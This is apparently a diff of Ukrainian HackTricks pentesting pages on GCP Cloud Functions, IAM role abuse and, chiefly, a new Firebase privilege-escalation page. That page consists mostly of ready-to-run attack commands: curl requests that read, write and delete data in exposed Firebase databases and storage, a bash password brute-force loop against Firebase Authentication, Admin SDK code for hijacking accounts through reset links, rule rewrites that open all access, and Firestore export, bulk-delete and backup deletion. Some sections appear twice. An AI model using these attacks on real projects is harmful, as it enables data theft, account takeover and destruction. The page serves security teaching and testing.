Якщо у вас є доступ на читання та запис до bucket, ви можете моніторити зміни в коді і щойно відбувається **оновлення в bucket, ви можете замінити новий код власним кодом**, через що нова версія Cloud Function виконуватиметься з підставленим бекдорованим кодом.
|
||||
|
||||
Ви можете дізнатися більше про атаку в:
|
||||
|
||||
@@ -97,18 +103,18 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Однак ви не можете використати це для попереднього компрометації сторонніх Cloud Functions, тому що якщо ви створите bucket у своєму акаунті і дасте йому публічні дозволи, щоб зовнішній проєкт міг записувати в нього, ви отримаєте наступну помилку:
|
||||
Однак цього не можна використати для попередньої компрометації Cloud Functions третіх сторін, бо якщо ви створите bucket у своєму обліковому записі й надасте йому публічні права, щоб зовнішній проєкт міг записувати в нього, ви отримаєте таку помилку:
|
||||
|
||||
<figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>
|
||||
|
||||
> [!CAUTION]
|
||||
> Однак це може бути використано для DoS-атак.
|
||||
> Проте це може бути використано для DoS-атак.
|
||||
|
||||
### Read & Write Access over Artifact Registry
|
||||
### Доступ на читання та запис до Artifact Registry
|
||||
|
||||
Коли створюється Cloud Function, новий docker image пушиться в Artifact Registry проєкту. Я пробував замінити image на інший, і навіть видалити поточний image (та `cache` image), але нічого не змінилося — Cloud Function продовжувала працювати. Тому, можливо, **можна зловживати Race Condition attack**, як у випадку з bucket, щоб змінити docker container, який буде запущений, але **просто модифікування збереженого image не дає можливості скомпрометувати Cloud Function**.
|
||||
Коли створюється Cloud Function, новий docker image пушиться в Artifact Registry проєкту. Я намагався замінити образ на новий, і навіть видалити поточний образ (та `cache` image), але нічого не змінилося — Cloud Function продовжувала працювати. Тому, можливо, **можна зловживати Race Condition attack** як з bucket, щоб змінити docker-контейнер, який буде запущено, але **лише модифікація збереженого образу не дозволяє скомпрометувати Cloud Function**.
|
||||
|
||||
## References
|
||||
## Джерела
|
||||
|
||||
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
|
||||
|
||||
|
||||
@@ -0,0 +1,447 @@
|
||||
# GCP - Firebase Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Firebase
|
||||
|
||||
### Unauthenticated access to Firebase Realtime Database
|
||||
Зловмиснику не потрібні які-небудь спеціальні дозволи Firebase для виконання цієї атаки. Потрібна лише вразлива конфігурація в правилах безпеки Firebase Realtime Database, де правила встановлені як `.read: true` або `.write: true`, що дозволяє публічний доступ для читання або запису.
|
||||
|
||||
Зловмисник повинен визначити URL бази даних, який зазвичай має формат: `https://<project-id>.firebaseio.com/`.
|
||||
|
||||
Цей URL можна знайти через mobile application reverse engineering (decompiling Android APKs або analyzing iOS apps), аналіз конфігураційних файлів, таких як google-services.json (Android) або GoogleService-Info.plist (iOS), інспектування вихідного коду web applications або аналіз network traffic для виявлення запитів до доменів `*.firebaseio.com`.
|
||||
|
||||
Зловмисник визначає URL бази даних і перевіряє, чи він відкритий публічно, потім отримує доступ до даних і за потреби записує шкідливу інформацію.
|
||||
|
||||
Спочатку вони перевіряють, чи дозволяє база даних доступ для читання, додавши .json до URL.
|
||||
```bash
|
||||
curl https://<project-id>-default-rtdb.firebaseio.com/.json
|
||||
```
|
||||
Якщо відповідь містить JSON-дані або null (замість "Permission Denied"), база даних дозволяє доступ на читання. Щоб перевірити доступ на запис, атакуючий може спробувати надіслати тестовий запит на запис, використовуючи Firebase REST API.
|
||||
```bash
|
||||
curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'
|
||||
```
|
||||
Якщо операція вдасться, база даних також дозволяє доступ на запис.
|
||||
|
||||
|
||||
### Розкриття даних у Cloud Firestore
|
||||
Зловмиснику не потрібні специфічні права Firebase, щоб виконати цю атаку. Достатньо, щоб у правилах безпеки Cloud Firestore була вразлива конфігурація, в якій правила дозволяють доступ на читання або запис без автентифікації або з недостатньою валідацією. Приклад неправильно налаштованого правила, яке надає повний доступ, наведено нижче:
|
||||
```bash
|
||||
service cloud.firestore {
|
||||
match /databases/{database}/documents/{document=**} {
|
||||
allow read, write: if true;
|
||||
}
|
||||
}
|
||||
```
|
||||
Це правило дозволяє будь-кому читати й записувати всі документи без будь-яких обмежень. Правила Firestore є гранулярними й застосовуються на рівні кожної колекції та документа, тому помилка в конкретному правилі може розкрити лише певні колекції.
|
||||
|
||||
Зловмиснику потрібно визначити Firebase Project ID, який можна знайти через mobile app reverse engineering, аналіз конфігураційних файлів, таких як google-services.json або GoogleService-Info.plist, перегляд коду web-застосунків або аналіз мережевого трафіку для виявлення запитів до firestore.googleapis.com.
|
||||
The Firestore REST API uses the format:
|
||||
```bash
|
||||
https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
|
||||
```
|
||||
Якщо правила дозволяють неаутентифікований доступ для читання, атакуючий може читати collections та documents. Спочатку вони намагаються отримати доступ до конкретної collection:
|
||||
```bash
|
||||
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>
|
||||
```
|
||||
Якщо відповідь містить JSON-документи замість помилки доступу, колекція є відкритою. Атакуючий може перерахувати всі доступні колекції, підбираючи поширені назви або аналізуючи структуру застосунку. Щоб отримати доступ до конкретного документа:
|
||||
```bash
|
||||
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
|
||||
```
|
||||
Якщо правила дозволяють unauthenticated write access або мають insufficient validation, attacker може створити нові документи:
|
||||
```bash
|
||||
curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"fields": {
|
||||
"name": {"stringValue": "Test"},
|
||||
"email": {"stringValue": "test@example.com"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
Щоб змінити існуючий документ, слід використовувати PATCH:
|
||||
```bash
|
||||
curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"fields": {
|
||||
"role": {"stringValue": "admin"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
Щоб видалити документ і спричинити denial of service:
|
||||
```bash
|
||||
curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
|
||||
```
|
||||
### Розкриття файлів у Firebase Storage
|
||||
Атакуючий не потребує жодних спеціальних дозволів Firebase для виконання цієї атаки. Для цього достатньо наявності вразливої конфігурації в security rules Firebase Storage, де правила дозволяють read або write доступ без authentication або з недостатньою валідацією. Storage rules контролюють read і write permissions незалежно, тож помилка в правилі може відкрити лише read access, лише write access або обидва. Приклад некоректно налаштованого правила, яке надає повний доступ, виглядає так:
|
||||
```bash
|
||||
service cloud.firestore {
|
||||
match /databases/{database}/documents/{document=**} {
|
||||
allow read, write: if true;
|
||||
}
|
||||
}
|
||||
```
|
||||
Це правило дозволяє доступ на читання та запис до всіх документів без жодних обмежень. Firestore rules є детальними й застосовуються для кожної колекції та кожного документа, тому помилка в конкретному правилі може відкривати доступ лише до певних колекцій. Зловмисник повинен ідентифікувати Firebase Project ID, який можна знайти за допомогою mobile application reverse engineering, аналізу конфігураційних файлів, таких як google-services.json або GoogleService-Info.plist, перевірки вихідного коду веб-застосунку або аналізу мережевого трафіку для виявлення запитів до firestore.googleapis.com.
|
||||
|
||||
The Firestore REST API uses the format:`https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.`
|
||||
|
||||
Якщо правила дозволяють неаутентифікований доступ для читання, зловмисник може читати колекції та документи. Спочатку він намагається отримати доступ до конкретної колекції.
|
||||
```bash
|
||||
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
|
||||
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"
|
||||
```
|
||||
Якщо відповідь містить список файлів замість помилки доступу, файл відкритий. Атакуючий може переглянути вміст файлів, вказавши їхній шлях:
|
||||
```bash
|
||||
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"
|
||||
```
|
||||
Якщо правила дозволяють запис без автентифікації або передбачають недостатню валідацію, зловмисник може завантажити шкідливі файли. Щоб завантажити файл через REST API:
|
||||
```bash
|
||||
curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
|
||||
-H "Content-Type: <content-type>" \
|
||||
--data-binary @<local-file>
|
||||
```
|
||||
Зловмисник може завантажувати code shells, malware payloads або великі файли, щоб викликати denial of service. Якщо додаток обробляє або виконує завантажені файли, зловмисник може досягти remote code execution. Щоб видалити файли та спричинити denial of service:
|
||||
```bash
|
||||
curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"
|
||||
```
|
||||
### Виклик публічних Firebase Cloud Functions
|
||||
An attacker не потребує жодних спеціальних дозволів Firebase, щоб експлуатувати цю проблему; достатньо, щоб Cloud Function була публічно доступна через HTTP без автентифікації.
|
||||
|
||||
Функція вразлива, коли вона неправильно налаштована:
|
||||
|
||||
- Використовує functions.https.onRequest, який не примушує автентифікацію (на відміну від onCall functions).
|
||||
- Код функції не перевіряє автентифікацію користувача (наприклад, немає перевірок request.auth або context.auth).
|
||||
- Функція публічно доступна в IAM, тобто allUsers має роль roles/cloudfunctions.invoker. Це поведінка за замовчуванням для HTTP functions, якщо розробник не обмежив доступ.
|
||||
|
||||
Firebase HTTP Cloud Functions доступні за URL-адресами, такими як:
|
||||
|
||||
- https://<region>-<project-id>.cloudfunctions.net/<function-name>
|
||||
- https://<project-id>.web.app/<function-name> (when integrated with Firebase Hosting)
|
||||
|
||||
An attacker може знайти ці URL-адреси через source code analysis, network traffic inspection, enumeration tools або mobile app reverse engineering.
|
||||
Якщо функція публічно відкрита і без автентифікації, attacker може викликати її напряму без credentials.
|
||||
```bash
|
||||
# Invoke public HTTP function with GET
|
||||
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
|
||||
# Invoke public HTTP function with POST and data
|
||||
curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"param1": "value1", "param2": "value2"}'
|
||||
```
|
||||
Якщо функція не перевіряє вхідні дані належним чином, атакуючий може спробувати інші атаки, такі як code injection або command injection.
|
||||
|
||||
### Brute-force attack against Firebase Authentication with a weak password policy
|
||||
Атакуючому не потрібні якісь специфічні дозволи Firebase, щоб виконати цю атаку. Потрібно лише, щоб Firebase API Key був відкритий у мобільних або веб-додатках, і щоб політика паролів не була налаштована суворіше за значення за замовчуванням.
|
||||
|
||||
Атакуючому потрібно визначити Firebase API Key, який можна знайти через reverse engineering мобільного додатка, аналіз конфігураційних файлів, таких як google-services.json або GoogleService-Info.plist, перевірку коду веб-додатків (наприклад, у bootstrap.js) або аналіз мережевого трафіку.
|
||||
|
||||
Firebase Authentication’s REST API використовує endpoint:
|
||||
`https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>`
|
||||
для автентифікації за електронною поштою та паролем.
|
||||
|
||||
Якщо Email Enumeration Protection вимкнено, відповіді API з помилками можуть виявити, чи існує email у системі (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), що дозволяє атакуючому перелічувати користувачів перед спробами підбору пароля. Коли цей захист увімкнено, API повертає однакове повідомлення про помилку як для неіснуючих email, так і для неправильних паролів, що заважає перелічуванню користувачів.
|
||||
|
||||
Варто зазначити, що Firebase Authentication застосовує rate limiting, який може блокувати запити при занадто великій кількості спроб автентифікації за короткий час. Через це атакуючому доведеться вводити затримки між спробами, щоб уникнути блокування через rate limiting.
|
||||
|
||||
Атакуючий знаходить API Key і виконує спроби автентифікації з кількома паролями для відомих облікових записів. Якщо Email Enumeration Protection вимкнено, атакуючий може перелічувати наявних користувачів, аналізуючи відповіді з помилками:
|
||||
```bash
|
||||
# Attempt authentication with a known email and an incorrect password
|
||||
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"email": "usuario@example.com",
|
||||
"password": "password",
|
||||
"returnSecureToken": true
|
||||
}'
|
||||
```
|
||||
Якщо відповідь містить EMAIL_NOT_FOUND, електронна адреса не існує в системі. Якщо вона містить INVALID_PASSWORD, електронна адреса існує, але пароль неправильний, що підтверджує реєстрацію користувача. Після виявлення дійсного користувача зловмисник може виконувати brute-force спроби. Важливо додавати паузи між спробами, щоб уникнути механізмів обмеження швидкості Firebase Authentication:
|
||||
```bash
|
||||
counter=1
|
||||
for password in $(cat wordlist.txt); do
|
||||
echo "Intento $counter: probando contraseña '$password'"
|
||||
response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}")
|
||||
|
||||
if echo "$response" | grep -q "idToken"; then
|
||||
echo "Contraseña encontrada: $password (intento $counter)"
|
||||
break
|
||||
fi
|
||||
|
||||
# Stop for the rate limiting
|
||||
sleep 1
|
||||
counter=$((counter + 1))
|
||||
done
|
||||
```
|
||||
За стандартної політики паролів (мінімум 6 символів, без вимог до складності) атакуючий може перебрати всі можливі комбінації 6-символьних паролів, що становить досить невеликий простір пошуку порівняно зі суворішими політиками паролів.
|
||||
|
||||
### Керування користувачами у Firebase Authentication
|
||||
|
||||
Атакуючому потрібні певні дозволи Firebase Authentication, щоб виконати цю атаку. Потрібні дозволи:
|
||||
|
||||
- `firebaseauth.users.create` для створення користувачів
|
||||
- `firebaseauth.users.update` для змінення існуючих користувачів
|
||||
- `firebaseauth.users.delete` для видалення користувачів
|
||||
- `firebaseauth.users.get` для отримання інформації про користувачів
|
||||
- `firebaseauth.users.sendEmail` для надсилання електронних листів користувачам
|
||||
- `firebaseauth.users.createSession` для створення сесій користувачів
|
||||
|
||||
Ці дозволи входять до ролі `roles/firebaseauth.admin`, яка надає повний доступ на читання/запис до ресурсів Firebase Authentication. Вони також входять до ролей вищого рівня, таких як `roles/firebase.developAdmin` (включає всі дозволи `firebaseauth.*`) та `roles/firebase.admin` (повний доступ до всіх сервісів Firebase).
|
||||
|
||||
Щоб використовувати Firebase Admin SDK, атакуючому потрібен доступ до облікових даних сервісного облікового запису (JSON файл), які можуть бути знайдені на скомпрометованих системах, в публічно відкритих репозиторіях коду, у скомпрометованих CI/CD системах або внаслідок компрометації облікових записів розробників, що мають доступ до цих облікових даних.
|
||||
|
||||
Перший крок — налаштувати Firebase Admin SDK, використовуючи облікові дані сервісного облікового запису.
|
||||
```bash
|
||||
import firebase_admin
|
||||
from firebase_admin import credentials, auth
|
||||
cred = credentials.Certificate('path/to/serviceAccountKey.json')
|
||||
firebase_admin.initialize_app(cred)
|
||||
```
|
||||
Щоб створити зловмисного користувача, використовуючи електронну пошту жертви, зловмисник намагатиметься використати Firebase Admin SDK для створення нового облікового запису з цією електронною поштою.
|
||||
```bash
|
||||
user = auth.create_user(
|
||||
email='victima@example.com',
|
||||
email_verified=False,
|
||||
password='password123',
|
||||
display_name='Usuario Malicioso',
|
||||
disabled=False
|
||||
)
|
||||
print(f'Usuario creado: {user.uid}')
|
||||
```
|
||||
Щоб змінити існуючого користувача, зловмисник оновив би такі поля, як електронну адресу, статус підтвердження або стан деактивації облікового запису.
|
||||
```bash
|
||||
user = auth.update_user(
|
||||
uid,
|
||||
email='nuevo-email@example.com',
|
||||
email_verified=True,
|
||||
disabled=False
|
||||
)
|
||||
print(f'Usuario actualizado: {user.uid}')
|
||||
```
|
||||
Щоб видалити обліковий запис користувача й спричинити denial of service, attacker направив би запит на повне видалення користувача.
|
||||
```bash
|
||||
auth.delete_user(uid)
|
||||
print('Usuario eliminado exitosamente')
|
||||
```
|
||||
Attacker також може отримати інформацію про існуючих користувачів, запитавши їх UID або email address.
|
||||
```bash
|
||||
user = auth.get_user(uid)
|
||||
print(f'Información del usuario: {user.uid}, {user.email}')
|
||||
user = auth.get_user_by_email('usuario@example.com')
|
||||
print(f'Información del usuario: {user.uid}, {user.email}')
|
||||
```
|
||||
Крім того, зловмисник може згенерувати verification links або password-reset links, щоб змінити пароль користувача та отримати доступ до їхнього облікового запису.
|
||||
```bash
|
||||
link = auth.generate_email_verification_link(email)
|
||||
print(f'Link de verificación: {link}')
|
||||
link = auth.generate_password_reset_link(email)
|
||||
print(f'Link de reset: {link}')
|
||||
```
|
||||
### Керування користувачами у Firebase Authentication
|
||||
Атакувальнику потрібні певні дозволи Firebase Authentication, щоб виконати цю атаку. Необхідні дозволи:
|
||||
|
||||
- `firebaseauth.users.create` to create users
|
||||
- `firebaseauth.users.update` to modify existing users
|
||||
- `firebaseauth.users.delete` to delete users
|
||||
- `firebaseauth.users.get` to obtain user information
|
||||
- `firebaseauth.users.sendEmail` to send emails to users
|
||||
- `firebaseauth.users.createSession` to create user sessions
|
||||
|
||||
Ці дозволи включені в роль roles/firebaseauth.admin, яка надає повний доступ для читання/запису до ресурсів Firebase Authentication. Вони також входять до більш високорівневих ролей, таких як `roles/firebase.developAdmin` (що включає всі firebaseauth.* дозволи) та `roles/firebase.admin` (повний доступ до всіх сервісів Firebase).
|
||||
|
||||
Щоб використовувати Firebase Admin SDK, атакувальнику потрібен доступ до облікових даних сервісного облікового запису (JSON-файлу), які можуть бути отримані зкомпрометованих систем, публічно доступних репозиторіїв коду, скомпрометованих CI/CD-середовищ або шляхом компрометації облікових записів розробників, які мають доступ до цих облікових даних.
|
||||
|
||||
Перший крок — налаштувати Firebase Admin SDK, використовуючи облікові дані сервісного облікового запису.
|
||||
```bash
|
||||
import firebase_admin
|
||||
from firebase_admin import credentials, auth
|
||||
cred = credentials.Certificate('path/to/serviceAccountKey.json')
|
||||
firebase_admin.initialize_app(cred)
|
||||
```
|
||||
Щоб створити зловмисного користувача, використовуючи електронну пошту жертви, зловмисник спробував би створити новий обліковий запис із тією електронною адресою, призначивши свій пароль і дані профілю.
|
||||
```bash
|
||||
user = auth.create_user(
|
||||
email='victima@example.com',
|
||||
email_verified=False,
|
||||
password='password123',
|
||||
display_name='Usuario Malicioso',
|
||||
disabled=False
|
||||
)
|
||||
print(f'Usuario creado: {user.uid}')
|
||||
```
|
||||
Щоб змінити існуючого користувача, зловмисник змінює такі поля, як адреса електронної пошти, статус підтвердження або чи відключений обліковий запис.
|
||||
```bash
|
||||
user = auth.update_user(
|
||||
uid,
|
||||
email='nuevo-email@example.com',
|
||||
email_verified=True,
|
||||
disabled=False
|
||||
)
|
||||
print(f'Usuario actualizado: {user.uid}')
|
||||
```
|
||||
Щоб видалити обліковий запис користувача — фактично спричиняючи відмову в обслуговуванні — зловмисник надіслав би запит на остаточне видалення цього користувача.
|
||||
```bash
|
||||
auth.delete_user(uid)
|
||||
print('Usuario eliminado exitosamente')
|
||||
```
|
||||
Зловмисник також може отримати інформацію про існуючих користувачів, наприклад їх UID або email, запитавши деталі користувача за UID або за email-адресою.
|
||||
```bash
|
||||
user = auth.get_user(uid)
|
||||
print(f'Información del usuario: {user.uid}, {user.email}')
|
||||
user = auth.get_user_by_email('usuario@example.com')
|
||||
print(f'Información del usuario: {user.uid}, {user.email}')
|
||||
```
|
||||
Крім того, зловмисник міг би згенерувати посилання для підтвердження або для скидання пароля, що дозволило б йому змінити пароль користувача та отримати контроль над обліковим записом.
|
||||
```bash
|
||||
link = auth.generate_email_verification_link(email)
|
||||
print(f'Link de verificación: {link}')
|
||||
link = auth.generate_password_reset_link(email)
|
||||
print(f'Link de reset: {link}')
|
||||
```
|
||||
### Зміна правил безпеки у сервісах Firebase
|
||||
Зловмиснику потрібні конкретні дозволи для зміни правил безпеки залежно від сервісу. Для Cloud Firestore та Firebase Cloud Storage потрібні дозволи `firebaserules.rulesets.create` для створення rulesets та `firebaserules.releases.create` для розгортання релізів. Ці дозволи входять до ролі `roles/firebaserules.admin` або до ролей вищого рівня, таких як `roles/firebase.developAdmin` та `roles/firebase.admin`. Для Firebase Realtime Database потрібен дозвіл `firebasedatabase.instances.update`.
|
||||
|
||||
Зловмисник має використовувати Firebase REST API для зміни правил безпеки.
|
||||
Спочатку зловмиснику потрібно отримати токен доступу, використовуючи облікові дані service account.
|
||||
Щоб отримати токен:
|
||||
```bash
|
||||
gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
|
||||
ACCESS_TOKEN=$(gcloud auth print-access-token)
|
||||
```
|
||||
Щоб змінити правила Firebase Realtime Database:
|
||||
```bash
|
||||
curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"rules": {
|
||||
".read": true,
|
||||
".write": true
|
||||
}
|
||||
}'
|
||||
```
|
||||
Щоб змінити правила Cloud Firestore, атакувальник має створити ruleset, а потім розгорнути його:
|
||||
```bash
|
||||
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"source": {
|
||||
"files": [{
|
||||
"name": "firestore.rules",
|
||||
"content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n match /databases/{database}/documents {\n match /{document=**} {\n allow read, write: if true;\n }\n }\n}"
|
||||
}]
|
||||
}
|
||||
}'
|
||||
```
|
||||
Попередня команда повертає назву ruleset у форматі projects/<project-id>/rulesets/<ruleset-id>. Щоб розгорнути нову версію, реліз потрібно оновити за допомогою PATCH-запиту:
|
||||
```bash
|
||||
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"release": {
|
||||
"name": "projects/<project-id>/releases/cloud.firestore",
|
||||
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
|
||||
}
|
||||
}'
|
||||
```
|
||||
Щоб змінити правила Firebase Cloud Storage:
|
||||
```bash
|
||||
curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"source": {
|
||||
"files": [{
|
||||
"name": "storage.rules",
|
||||
"content": "service firebase.storage {\n match /b/{bucket}/o {\n match /{allPaths=**} {\n allow read, write: if true;\n }\n }\n}"
|
||||
}]
|
||||
}
|
||||
}'
|
||||
```
|
||||
Попередня команда повертає ім'я ruleset у форматі projects/<project-id>/rulesets/<ruleset-id>. Щоб розгорнути нову версію, потрібно оновити реліз за допомогою PATCH-запиту:
|
||||
```bash
|
||||
curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
|
||||
-H "Authorization: Bearer $ACCESS_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"release": {
|
||||
"name": "projects/<project-id>/releases/firebase.storage/<bucket-id>",
|
||||
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Екзфільтрація та маніпуляція даними в Cloud Firestore
|
||||
Cloud Firestore використовує ту ж інфраструктуру та систему дозволів, що й Cloud Datastore, тому Datastore IAM permissions застосовуються безпосередньо до Firestore. Щоб змінювати TTL-політики, потрібен дозвіл `datastore.indexes.update`. Щоб експортувати дані, потрібен дозвіл `datastore.databases.export`. Щоб імпортувати дані, потрібен дозвіл datastore.databases.import. Для виконання масового видалення даних потрібен дозвіл `datastore.databases.bulkDelete`.
|
||||
|
||||
Для операцій резервного копіювання та відновлення потрібні конкретні дозволи:
|
||||
|
||||
- `datastore.backups.get` and `datastore.backups.list` — для переліку та отримання деталей доступних резервних копій
|
||||
- `datastore.backups.delete` — для видалення резервних копій
|
||||
- `datastore.backups.restoreDatabase` — для відновлення бази даних з резервної копії
|
||||
- `datastore.backupSchedules.create` and `datastore.backupSchedules.delete` — для керування розкладом резервного копіювання
|
||||
|
||||
Коли створюється TTL-політика, обирається певна властивість, яка визначає сутності, що підлягають видаленню. Ця TTL-властивість має бути типу Date and time. Зловмисник може вибрати властивість, яка вже існує, або вказати властивість, яку планує додати пізніше. Якщо значення поля містить дату в минулому, документ стає придатним для негайного видалення. Зловмисник може використовувати gcloud CLI для маніпулювання TTL-політиками.
|
||||
```bash
|
||||
# Enable TTL
|
||||
gcloud firestore fields ttls update expireAt \
|
||||
--collection-group=users \
|
||||
--enable-ttl
|
||||
# Disable TTL
|
||||
gcloud firestore fields ttls update expireAt \
|
||||
--collection-group=users \
|
||||
--disable-ttl
|
||||
```
|
||||
Щоб експортувати дані та exfiltrate їх, зловмисник може скористатися gcloud CLI.
|
||||
```bash
|
||||
gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'
|
||||
```
|
||||
Щоб імпортувати шкідливі дані:
|
||||
```bash
|
||||
gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'
|
||||
```
|
||||
Щоб здійснити масове видалення даних і спричинити denial of service, зловмисник може використати gcloud Firestore bulk-delete tool, щоб видалити цілі колекції.
|
||||
```bash
|
||||
gcloud firestore bulk-delete \
|
||||
--collection-ids=users,posts,messages \
|
||||
--database='(default)' \
|
||||
--project=<project-id>
|
||||
```
|
||||
Для операцій резервного копіювання та відновлення зловмисник може створювати заплановані резервні копії, щоб зафіксувати поточний стан бази даних, перераховувати наявні резервні копії, відновлювати з резервної копії для перезапису нещодавніх змін, видаляти резервні копії, щоб спричинити безповоротну втрату даних, і видаляти заплановані резервні копії.
|
||||
Щоб створити щоденний графік резервного копіювання, який одразу генерує резервну копію:
|
||||
```bash
|
||||
gcloud firestore backups schedules create \
|
||||
--database='(default)' \
|
||||
--recurrence=daily \
|
||||
--retention=14w \
|
||||
--project=<project-id>
|
||||
```
|
||||
Щоб відновити з конкретної резервної копії, атакуючий може створити нову базу даних, використавши дані, що містяться в цій резервній копії. Операція відновлення записує дані резервної копії у нову базу даних, що означає, що існуючий DATABASE_ID не може бути використаний.
|
||||
```bash
|
||||
gcloud firestore databases restore \
|
||||
--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
|
||||
--destination-database='<new-database-id>' \
|
||||
--project=<project-id>
|
||||
```
|
||||
Щоб видалити резервну копію та спричинити незворотну втрату даних:
|
||||
```bash
|
||||
gcloud firestore backups delete \
|
||||
--backup=<backup-id> \
|
||||
--project=<project-id>
|
||||
```
|
||||
### Крадіжка та зловживання обліковими даними Firebase CLI
|
||||
|
||||
Зловмиснику не потрібні спеціальні дозволи Firebase, щоб виконати цю атаку, але йому потрібен доступ до локальної системи розробника або до файлу облікових даних Firebase CLI. Ці облікові дані зберігаються у JSON-файлі за адресою:
|
||||
|
||||
- Linux/macOS: ~/.config/configstore/firebase-tools.json
|
||||
|
||||
- Windows: C:\Users\[User]\.config\configstore\firebase-tools.json
|
||||
|
||||
У цьому файлі містяться токени автентифікації, зокрема refresh_token і access_token, які дозволяють зловмиснику автентифікуватися як користувач, що спочатку виконав firebase login.
|
||||
|
||||
Здобувши доступ до файлу облікових даних Firebase CLI, зловмисник може скопіювати весь файл на свою систему — Firebase CLI автоматично використає облікові дані зі свого стандартного розташування. Після цього зловмисник зможе переглянути всі Firebase проєкти, доступні цьому користувачу.
|
||||
```bash
|
||||
firebase projects:list
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## IAM
|
||||
|
||||
Додаткову інформацію про IAM див. у:
|
||||
Детальніше про IAM див. у:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
@@ -12,54 +12,51 @@
|
||||
|
||||
### `iam.roles.update` (`iam.roles.get`)
|
||||
|
||||
Зловмисник з переліченими дозволами зможе оновити роль, призначену вам, і надати вам додаткові дозволи для інших ресурсів, таких як:
|
||||
|
||||
<details><summary>Оновити роль IAM, щоб додати дозволи</summary>
|
||||
Атакуючий з наведеними дозволами зможе оновити роль, призначену вам, і надати вам додаткові дозволи до інших ресурсів, наприклад:
|
||||
```bash
|
||||
gcloud iam roles update <rol name> --project <project> --add-permissions <permission>
|
||||
```
|
||||
</details>
|
||||
|
||||
Ви можете знайти скрипт для автоматизації **створення, експлуатації та очищення vuln середовища тут** і python скрипт для зловживання цим привілеєм [**here**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Для додаткової інформації див. [**original research**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
|
||||
Ви можете знайти скрипт для автоматизації **створення, експлуатації та очищення вразливого середовища тут** і python-скрипт для зловживання цим привілеєм [**тут**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py). Для додаткової інформації перегляньте [**оригінальне дослідження**](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/).
|
||||
```bash
|
||||
gcloud iam roles update <Rol_NAME> --project <PROJECT_ID> --add-permissions <Permission>
|
||||
```
|
||||
